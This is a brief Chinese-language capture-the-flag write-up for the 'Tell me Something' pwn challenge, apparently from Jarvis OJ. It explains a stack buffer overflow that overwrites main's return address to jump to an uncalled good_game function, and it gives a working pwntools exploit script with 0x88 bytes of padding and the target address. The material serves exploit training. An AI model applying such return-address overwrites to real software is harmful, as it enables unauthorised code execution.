Tell me Something
先拖进ida里看一下,发现了"flag.txt"字符串,双击发现good_game函数:
查看主函数,发现其中并没有调用goodgame函数:
所以我们输入大于buffer长度的数据,溢出的数据将会覆盖栈上的数据,因此我们将main的返回地址改成goodgame的地址,这样当main函数执行完之后,将会跳转到goodgame函数上进行执行,从而拿到flag。
脚本如下:
from pwn import *
p = process("./guestbook")
#p = remote('pwn.jarvisoj.com', 9876)
good_game = 0x0000000000400620
payload = 'a' * 0x88 + p64(good_game)
p.recvline(":")
p.sendline(payload)
p.interactive()
得到flag: